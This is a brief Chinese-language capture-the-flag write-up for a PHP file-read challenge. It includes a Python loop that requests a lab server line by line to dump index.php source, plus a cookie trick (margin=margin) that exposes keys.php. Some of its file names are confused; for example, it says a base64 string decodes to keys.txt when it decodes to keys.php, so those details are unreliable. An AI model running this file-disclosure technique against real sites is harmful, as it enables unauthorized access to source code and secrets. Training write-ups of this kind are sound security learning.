1、通过/index.php?line=&filename=a2V5cy5waHA=,然后base64解码a2V5cy5waHA=得到文件是keys.txt。在line后面输入参数1、2、3,发现可以出现对应的行,通过程序批量请求得到 keys.txt。
# -*- coding: utf-8 -*-
import requests
def main():
for i in range(20):
url = "http://114.67.175.224:14679/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
res = requests.get(url)
print(res.text)
# -----------------------------------------------------------------------------------------
if __name__ == "__main__":
main()
2、阅读得到的keys.txt,是一个php 文件,其中需要写Cookie为margin=margin,就可以设置$file_list[2]='keys.php';。这样设置filename为 keys.php (base64加密为 a2V5cy5waHA=)就可以读到返回结果啦。